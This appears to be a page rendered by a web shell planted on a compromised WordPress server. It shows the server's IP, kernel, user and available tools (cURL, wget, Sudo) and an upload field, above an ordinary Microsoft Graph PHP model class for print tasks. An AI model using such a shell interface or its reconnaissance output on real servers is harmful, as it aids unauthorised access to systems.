Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* PrintTask File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* PrintTask class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class PrintTask extends Entity
{
/**
* Gets the parentUrl
* The URL for the print entity that triggered this task. For example, https://graph.microsoft.com/v1.0/print/printers/{printerId}/jobs/{jobId}. Read-only.
*
* @return string|null The parentUrl
*/
public function getParentUrl()
{
if (array_key_exists("parentUrl", $this->_propDict)) {
return $this->_propDict["parentUrl"];
} else {
return null;
}
}
/**
* Sets the parentUrl
* The URL for the print entity that triggered this task. For example, https://graph.microsoft.com/v1.0/print/printers/{printerId}/jobs/{jobId}. Read-only.
*
* @param string $val The parentUrl
*
* @return PrintTask
*/
public function setParentUrl($val)
{
$this->_propDict["parentUrl"] = $val;
return $this;
}
/**
* Gets the status
* The current execution status of this printTask. The calling application is responsible for updating this status when processing is finished, unless the related printJob has been redirected to another printer. Failure to report completion will result in the related print job being blocked from printing and eventually deleted.
*
* @return PrintTaskStatus|null The status
*/
public function getStatus()
{
if (array_key_exists("status", $this->_propDict)) {
if (is_a($this->_propDict["status"], "\Microsoft\Graph\Model\PrintTaskStatus") || is_null($this->_propDict["status"])) {
return $this->_propDict["status"];
} else {
$this->_propDict["status"] = new PrintTaskStatus($this->_propDict["status"]);
return $this->_propDict["status"];
}
}
return null;
}
/**
* Sets the status
* The current execution status of this printTask. The calling application is responsible for updating this status when processing is finished, unless the related printJob has been redirected to another printer. Failure to report completion will result in the related print job being blocked from printing and eventually deleted.
*
* @param PrintTaskStatus $val The status
*
* @return PrintTask
*/
public function setStatus($val)
{
$this->_propDict["status"] = $val;
return $this;
}
/**
* Gets the definition
* The printTaskDefinition that was used to create this task. Read-only.
*
* @return PrintTaskDefinition|null The definition
*/
public function getDefinition()
{
if (array_key_exists("definition", $this->_propDict)) {
if (is_a($this->_propDict["definition"], "\Microsoft\Graph\Model\PrintTaskDefinition") || is_null($this->_propDict["definition"])) {
return $this->_propDict["definition"];
} else {
$this->_propDict["definition"] = new PrintTaskDefinition($this->_propDict["definition"]);
return $this->_propDict["definition"];
}
}
return null;
}
/**
* Sets the definition
* The printTaskDefinition that was used to create this task. Read-only.
*
* @param PrintTaskDefinition $val The definition
*
* @return PrintTask
*/
public function setDefinition($val)
{
$this->_propDict["definition"] = $val;
return $this;
}
/**
* Gets the trigger
* The printTaskTrigger that triggered this task's execution. Read-only.
*
* @return PrintTaskTrigger|null The trigger
*/
public function getTrigger()
{
if (array_key_exists("trigger", $this->_propDict)) {
if (is_a($this->_propDict["trigger"], "\Microsoft\Graph\Model\PrintTaskTrigger") || is_null($this->_propDict["trigger"])) {
return $this->_propDict["trigger"];
} else {
$this->_propDict["trigger"] = new PrintTaskTrigger($this->_propDict["trigger"]);
return $this->_propDict["trigger"];
}
}
return null;
}
/**
* Sets the trigger
* The printTaskTrigger that triggered this task's execution. Read-only.
*
* @param PrintTaskTrigger $val The trigger
*
* @return PrintTask
*/
public function setTrigger($val)
{
$this->_propDict["trigger"] = $val;
return $this;
}
}